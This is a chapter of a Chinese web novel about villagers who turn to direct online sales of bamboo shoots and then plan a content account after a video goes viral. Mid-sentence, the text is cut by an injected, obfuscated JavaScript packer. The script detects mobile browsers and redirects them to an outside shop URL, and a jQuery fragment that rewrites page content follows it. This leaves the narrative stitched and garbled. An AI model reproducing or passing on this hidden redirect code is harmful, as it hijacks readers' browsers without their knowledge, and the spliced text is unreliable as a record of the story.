晚上吃饭的时候，李乘歌把事情说了。
桌上安静了几秒。
夏叙言没急着开口，他夹了一筷子菜，慢慢嚼完，才放下筷子。
“老刘那边，压了多少年的价了？”
李乘歌愣了一下：“……七八年吧，建国叔一直跟他合作。”
夏叙言点点头，没再接话，他垂着眼，在想着什么。
傅砚修看了他一眼，难得的没有憋着，直接说：“笋不等人，长老了就卖不出价了。”
夏叙言还是没吭声。
沈摘星小声说：“那……那怎么办？”
傅拭雪放下筷子，看向李乘歌：“现在库存多少？”
“后山那边，还能出一批。加上这几天挖的，大概还有五六百斤。”
宋鹤眠端着碗，忽然开口：“有没有别的渠道？”
李乘歌摇摇头：“之前联系过几个，要么价格压得更低，要么要的量太少，不够运费。”
“老刘这批货不要了，不是坏事。”夏叙言开口，他的声音比平时慢，在把脑子里的思路一点点摊开给人看，“他压价这么多年，建国叔一直没得选。现在他主动退，咱们反而有空档往外看看。”
他抬起头，看向傅拭雪，“国家扶持那个文件，不是下来了吗？咱们能不能趁着这波，走直发？”
傅拭雪看着他。
“不是走老刘那种批发。”夏叙言继续说，“是直接对着直播间下单的人发。一单三五斤，量小，但单价高。物流有补贴，成本就能压下来。”
李乘歌愣了一下，“可是咱们现在直播间的人不多……”
“那就做。”夏叙言说，“老刘那边不要，正好把笋留着，慢慢发。一天发不了几十单，发几单也行。总比低价给批发商强。”
他顿了顿，“我们在直播的时候，可以从笋的本身展开。”
“讲笋是怎么来的，讲什么黄泥拱，讲怎么挖的，讲怎么吃。不是对着镜头念稿子，是聊天。聊着聊着，人家就记住了。”
他端起碗喝了口水，然后继续说道，“那些外地笋便宜，那是因为量大，走的是批发。咱们走的是人。人家买一次，觉得好吃，就会买第二次。回头客多了，我们就能盘活。”
桌上安静了几秒。
傅砚修看着他，眼神里有点不一样的东西。他把本子往前推了推，上面已经列了几行字——拼多多、淘宝、抖音小店、物流对接、包装规格……
“电商平台分几种。”他说，声音不高，但每个字都很清楚，“拼多多门槛最低，个人店交个保证金就能开，适合咱们现在的情况。抖音小店也可以考虑，但需要持续直播带流量。淘宝现在竞争太大，新手很难做起来。”
他顿了顿，又补充道:“我明天先把这三个平台的入驻条件查清楚，看看哪个最适合咱们。另外包装规格也得定下来——三斤装、五斤装还是十斤装，得看快递首重怎么划算。”
“物流方面，如果每天能稳定在三十单以上，可以找快递公司谈合作价。现在咱们量小，只能走散客价，但政策文件里那个物流补贴，是按单补的，一单能补两三块，基本能把运费差价填平。”
李乘歌凑过去看了一眼，本子上已经列了七八条，清清楚楚。
宋鹤眠放下筷子，拿起手机翻了翻：“我认识几个做电商的朋友，明天问问他们有没有靠谱的物流渠道，生鲜这块对时效要求高，得找做过农产品快递的。”
她抬起头，看向傅拭雪:“如果能把物流谈下来，成本还能再压一压。”
夏叙言在旁边开口:“我去跑批发市场。不光是看价格，也想看看人家怎么包装、怎么保鲜。咱们现在全是自己摸索，得学学人家的成熟经验。”
他想了想，又说:“顺道打听打听，除了笋，还有什么山货好走。万一能多几个品类，单量就容易起来了。”
李乘歌想了想:“政策那边我去跑。镇政府我熟，我是村里的人，那些人认识我，好说话。”
傅拭雪从头听到尾，最后说了一句话：“明天开始，咱们分头行动。晚上回来碰头，有什么算什么。”
大家点点头。
碗筷收拾完，灶房的水声停了。夏叙言把最后一只碗放进柜子里，甩了甩手上的水，打了个哈欠。
“困死了困死了，明天还得早起，我先撤了。”
他往屋里走，走了两步又回头，冲沈摘星挥挥手:“早点睡啊，别熬夜。”
沈摘星点点头，在他之后进了屋。
傅砚修把笔记本合上，站起来，活动了一下脖子。他看了一眼还坐在石凳上的宋鹤眠，顿了顿：“还不睡？”
宋鹤眠抬起头，月光落在她脸上，把那点淡淡的倦意照得清清楚楚。
“要睡了。”她说。
她站起来，把杯子拿在手里，往屋里走，经过他身边的时候，脚步顿了顿：“你也早点。”
声音很轻，像风吹过。
然后她进去了。
李乘歌坐在石凳上，没急着进去。
傅拭雪从灶房出来，走到她旁边，坐下。
两个人就那么坐着，谁也没说话。
过了好一会儿，李乘歌忽然开口：“你说，能行吗？”
傅拭雪转头看她。
月光落在她侧脸上，把她的轮廓照得很柔和。
“能。”他说。
李乘歌看着他。
他眼神安静，语气笃定，像是在说一个已经确定的事实。
“为什么这么肯定？”
傅拭雪沉默了一秒。
“因为不只你一个人在想办法。”他说，“大家都在呢。”
李乘歌愣了一下，然后她笑了，笑得眼睛弯起来，笑得心里某个地方，暖了一下。
“嗯。”她说。
风从院子里吹过，带着夜间的凉意和远处竹林的气息。
月亮很圆，星星很亮。
明天，又是新的一天。
-
深夜,万籁俱寂。
李乘歌躺在床上,翻来覆去睡不着。她摸出手机,点开相册，最近拍的视频太多了,满满当当挤了几十个。
她一条一条往下翻，翻着翻着，忽然想把这些剪在一起。
她打开剪辑软件,开始一条一条看素材。
第一个镜头，是大棚里的傅砚修。阳光从棚顶漏下来，把他整个人照得亮堂堂的。他蹲在那儿量坑，量完一个记一笔，量完一个记一笔，认真的像个做作业的小学生。
她看着这个画面，心里软了一下。
下一个，傍晚的院子。沈摘星靠在夏叙言肩膀上睡着了，小脸红扑扑的，呼吸轻轻的。夏叙言梗着脖子一动不敢动，但嘴角翘着，笑得像个傻子。夕阳从他们身后照过来，把两个人都镶上一层金边。
她忽然觉得眼睛有点热，手指继续划动。
井边的两个背影，蹲在那儿洗碗，一个洗一个接，安安静静的。洗到最后一个，沈摘星忽然抬头，冲着夏叙言笑了一下。
饭桌上乱成一团。抢肉的、被辣的、递水的、夹菜的，闹哄哄的，可是看着看着就想笑。
大棚里傅砚修被蚯蚓吓得原地跺脚，夏叙言笑得蹲在地上起不来，沈摘星捂着脸偷看，自己和傅拭雪站在不远处眼睛弯弯的。镜头晃得厉害，因为拍的人也在笑。
雨后早晨，两个人蹲着戳水洼，谁也不说话，就那么戳着。戳着戳着，沈摘星抬头冲夏叙言笑，他愣了愣，嘴角动了动。
她盯着这个画面，忽然觉得心里有什么东西满满的。
最后是傍晚收工，傅拭雪和她走在最后。她抬头看天，他也抬头。淡紫色的晚霞薄薄一层，然后两个人往里走。
院子里，灯已经亮了。
她把这些镜头拼在一起，配上轻轻的吉他声。没有解说，没有字幕，就是一个个日子，一张张脸。
导出的时候，她看着那个小小的进度条走完。
回想起这些日子。
那些太阳晒着的，风吹着的，笑出眼泪的，什么也不说只是背靠背的。
那些抢来的肉，递来的水，盖上的毯子，拽过去的被角。
原来她都拍下来了。
原来这些就是日子。
她点了发布。
屏幕闪了一下，跳出一行小字：你的视频已发布。
她靠在床头,看着窗外慢慢亮起来的天,忽然觉得有点困。
但又不想睡。
她点开那条刚发布的视频,从头到尾又看了一遍。
配乐是淡淡的吉他声，不吵，刚刚好。
评论区还没人，视频刚发出去，还在加载。
李乘歌盯着屏幕,等了一会儿。
第一条评论跳出来：“这个院子……好治愈啊。”
她笑了笑，把手机放在枕边，闭上眼睛。
窗外，天亮了。
先是鸡鸣声把夜撕开一道口子，然后雾气慢慢泛白，再然后，阳光从东边山脊后面探出头来，把整个山谷一点一点照亮。
清晨的阳光从窗帘缝隙里漏进来，落在李乘歌脸上。
她翻了个身，迷迷糊糊摸到手机，眯着眼看了一眼时间。
然后她愣住了。
屏幕上铺天盖地的消息提醒——小红点从屏幕顶端一直排到底部，99+的红色数字晃得她眼睛疼。
她揉了揉眼睛，点开那个视频平台。
昨晚睡觉前才剪辑好发出去的视频，这会儿播放量已经过了五十万。
评论区还在蹭蹭往上跳。
“哈哈哈哈哈哈哈这个D选项是什么鬼！‘建立初步联系，减少应激反应’——这是种地还是搞科研？”
“蚯蚓进鞋里那段我笑到邻居敲门！那个原地跺脚的姿势太标准了！”
“这个院子是什么神仙地方，每个人都好有意思！”
“那个一本正经回答问题的帅哥，和那个被蚯蚓吓得跳起来的是兄弟吗？反差也太大了！”
李乘歌盯着屏幕，呆了足足十秒。她猛地坐起来，披上外套就往外跑。
院子里，傅拭雪正蹲在井边洗漱，听见动静，他抬起头，脸上还挂着水珠。
“视频火了。”李乘歌把手机递过去，“五十万播放。”
傅拭雪低头看了一眼，“你发的？”
“嗯。”李乘歌看着他，“咱们之前直播，最多也就几十人看。”
傅拭雪抬起头。
“但这个视频。”李乘歌晃了晃手机，“五十万人看了。”
傅拭雪没说话，只是看着屏幕里那些评论。阳光落在他侧脸上，把那一点若有若无的笑意照得清清楚楚。
屋里，傅砚修推门出来，打着哈欠。看见两个人站在院子里，随口问了一句：“大清早的干嘛呢？”
李乘歌把手机转过去对着他。
傅砚修眯着眼看了两秒，屏幕里，他正在疯狂跺脚，嘴里喊着“出来出来出来”，然后一脚踩进泥坑，溅起的泥点子糊了自己一腿。
他沉默了。
“……你什么时候发的？”
“昨晚。”李乘歌对上他的视线。
傅砚修的神情开始扭曲。
“你真发了呀？”
他的声音从喉咙里挤出来，带着一种垂死挣扎的绝望。他低头又看了一眼屏幕里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310840|198833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那个正在疯狂跺脚的自己，脸上的表情像是被打翻了调色盘。
“这下好了。”他闭上眼睛，深吸一口气，“丢脸丢了个大的。”
李乘歌看着他，努力憋着笑：“现在评论区都在问你叫什么。”
傅砚修的脸更黑了。
“他们还给你起了个外号。”
“……什么？”
“蚯蚓哥。”
傅砚修站在原地，整个人像被雷劈了一样。
夏叙言从屋里探出脑袋，笑得直不起腰：“蚯蚓哥！哈哈哈哈哈哈——”
傅砚修抬眸看他一眼，那个眼神，像是想把夏叙言也扔进泥坑里。
夏叙言立刻躲到沈摘星后面，但笑声根本憋不住。
沈摘星站在门口，捂着嘴笑，笑得肩膀一抖一抖的，眼泪都快出来了。
傅砚修：“……”
傅拭雪终于没忍住，嘴角弯了弯。
阳光从老槐树的缝隙里洒下来，落在院子里每个人身上。
笑声飘得到处都是。
傅砚修站在那儿，看着手机屏幕里那个疯狂跺脚的自己，沉默了很久。
然后他叹了口气，有点认命地说，“只希望不要让认识我的人看到吧。”
话音刚落，夏叙言凑过来，盯着评论区看了几秒，忽然开口：“你们看,评论区风向变了。”
他把手机递过来。
屏幕上，最开始那些“哈哈哈哈”已经被顶下去，取而代之的是一些新的留言:
“不是，这个院子的颜值是不是有点太高了？？种地的都长这样那我马上去学种地。”
“那个拿尺子量坑的帅哥真的不是在拍偶像剧吗？种个地都这么认真。”
“所以这几个人到底是什么关系啊？一家人？朋友？怎么看起来像什么综艺阵容。”
“有人在认真种地，有人在认真搞笑，还有个小姐姐在旁边岁月静好，这配置绝了好吧。”
“那个被蚯蚓吓到的哈哈哈哈但仔细看长得也挺帅的，就是有点惨。”
“有没有账号啊？想关注这种真实又有烟火气的日常，太治愈了。”
“他们在种什么呀？那些苗看起来好新鲜，熟了能买吗。”
……
傅拭雪接过来看，手指快速划过屏幕。
“这批流量来得偶然。但偶然背后有必然——观众对真实三农内容的需求一直在，网络很多视频只是供给端大多是摆拍和剧本，观众早看累了。他们想看的是真的东西，真的农村，真的生活。咱们这儿，恰好是真的。咱们恰好踩中了这个空白。”
夏叙言收起笑,站在那儿听着。
傅拭雪继续说：“现在账号是李乘歌的个人号，零散发，没有定位。如果想承接这波流量，需要做几件事：第一，明确账号人设；第二，建立内容矩阵；第三,规划变现路径。”
宋鹤眠端着杯子，靠在门框上，听完点点头：“很标准的IP孵化逻辑。”
她看向傅拭雪：“如果要做，就不能只是随便拍拍。得有主线，有人物，有冲突，有连续性。把院子里的每个人、每件事，都变成内容的一部分。人设要立体，内容要有钩子，更新要有节奏。”
李乘歌站在那儿,听他们说完,才开口：“你们的意思是,把我们自己做成一个IP？”
夏叙言点点头：“对。不是卖货号，是生活号。先让人认识咱们，再让人认识咱们的东西。这个逻辑跑通了，后面带货是顺理成章的事。”
“第一，账号定位:真实记录新农人返乡生活。这个赛道目前缺头部，咱们有天然优势——人够多，背景够反差，内容够真实。六个人，六个视角，可以覆盖的受众面比单一博主广得多。”
“第二，内容矩阵：主账号发日常，我和傅拭雪可以开子账号发偏干货的内容，比如种植技术、农产品科普、农村生活实用技巧。其他人如果有意愿，也可以拍自己擅长的方向——比如宋鹤眠可以拍生活美学，傅砚修可以拍数据视角看农业，摘星可以拍山里孩子眼里的农村。”
傅砚修在旁边补充：“矩阵的好处是互相导流。主账号带子账号，子账号反哺主账号。粉丝想看哪一类内容，都有地方去。不会因为某个人暂时没出镜就掉粉。”
宋鹤眠没说话，但点了点头。
“第三，流量转化。”傅拭雪继续说，“先做人，再做货。等账号有一定粉丝基础，再通过直播和橱窗带货。农产品利润率低,必须走量，所以前期重心必须是内容，不是转化。”
夏叙言在旁边接话：“而且不能只卖笋。笋有季节限制，过了春就没货了。得把院子里有的东西都盘一盘——蔬菜、鸡蛋、干货、甚至以后可以做的腌菜腊肉，慢慢丰富品类。”
他想了想，又说：“还可以走预售模式，让粉丝看着东西长大，熟了再发。这种信任感是批发商给不了的。”
傅拭雪听着,目光从一个人身上移到另一个人身上。
最后落在李乘歌脸上。
“你觉得呢？”
李乘歌一直在听，没插话。这会儿抬起头，看着他。
“你们说的那些,我不太懂。”她说得语气很实，“但拍院子、拍人、拍这些东西，我会。”
她顿了顿,笑了笑：“山里长大的孩子，别的不行，但是干活，最在行。”
傅拭雪看着她，然后他转回头，看向其他人。
“那就这么定。”他说，声音不高，但每个人都听见了，“等大家把昨天定下的任务跑完，晚上回来碰头，把账号方向敲定。”
他目光扫过院子里每一张脸：“账号叫什么，今晚想出来。明天开始，正式做。”